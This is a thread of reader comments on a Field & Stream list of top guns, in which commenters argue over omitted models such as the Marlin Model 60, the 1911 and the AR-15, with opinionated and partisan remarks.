I own several of the guns on this list and some that should be. The most glaring omission is the utilitarian classic, the Marlin Model 60. How they can say that the Ruger 10/22 is the most popular gun in the world is amazing to me. Marlin has sold more that twice as many Model 60's as Ruger has sold 10/22's. The Ruger is not nearly as accurate as a Model 60 (trust me I've proven this many times) but it does cost more. Quite a bit more. The Marlin is head and shoulders better than the Ruger in fact. Unless you want to throw away half of that Ruger you bought and replace them with better parts the Ruger is never going to shoot as well as the Marlin. Why not just buy good parts right off the bat and not end up buying two sets of parts and calling your rifle a Ruger when in fact it will only be about 25% Ruger? You can buy great shooting semi-autos for far less than you would spend on that Ruger like a T/C R-55 Classic.
I agree with mod.70 win. it was the first rifle my Dad gave me and I still have it plus a new super grade 300 win. mag. that handles just as good as my old 30-06 pre 64. Everone is not going to agree with this artical but for the most part I do . I enjoyed it very much I have owned most of them and still have several of them.
This is a complete disgrace to a lot of firearms. A bit heavy on the rifle and shotguns huh?? Could you maybe include a few...oh i don't know others like a SAA, 1911, or Glock. How do a few manufactures i never heard of get on there and none of the ones i mentioned. A Sako makes it but not a Glock!! Please
Didn't see who the author is. Evidently another gun writer/ editor in the pockets of private gunsmiths like Knight or small companies like Dakota Arms... There is no flow to his logic and he has way to many shotguns. There are to many "rare and expensive" selections. Where is the Browning High power if inovation was important? How much did he get for throwing the S&W 50 cal revolver in there? Where is the Colf 45 1911? I get he might be a sissy, nothing wrong with that, but to leave out ALL military weapons. Reason being is what he wrote for the Ruger 1o/22 he could repeat for the AR15, Legos for American men. Where is the 30 Carbine if inovation was so important? I learned little than not to waste my time with Field & Stream. I remember when a good magazine, before it split up into 3,4,5 or 6 other magazines had an article by many of their contributors: "Your list of top ten guns"; then there was another article in the now divested "Shooting Times", so thin and weak from spinning off it's not worth buying. The article: what one gun would you have and why if you could only have one. Not one weapon from their top ten, or from their only gun articles was mentioned in this one. What an ignorant jerk to be so out of touch with the middle class hunter/shooter in America. I'm sure he believes in global warming, drank the coolaid for government run healthcare, and so on.
1911................ Seriously. The 1911 i9s the most common and one of the best firearms ever produced. The M1Garand.
I guess maybe the editors only wanted sporting or field guns. John Moses Browning was a genius and all of his designs are still in production today.
I agree with the Nylon66, Remington700, Marlin336, RugerMkI and Mossberg500, as I have each of them or 2.
I just had to say 1911. Yes people do hunt with them.
I also wonder where the S&W .357 model 686 was.
It seems to me that liberalism the disease has infected the writers at Field & Stream. The AR15? Come on..... The single most purchased rifle in the USA.
i like the win. model 70 but i think the model 94 should be first on the list, i mean thats just the classic rifle plus its really a good gun
The writer of this article didn't do his homework when it comes to the S&W Model 29 .44 Magnum. Sure they said it was a .44 Magnum in the movie, but the actual gun carried by Clint Eastwood in Dirty Harry was a .41 Remington Magnum. A real gun aficianado wouldn't even mention Dirty Harry in his article.
Post a Comment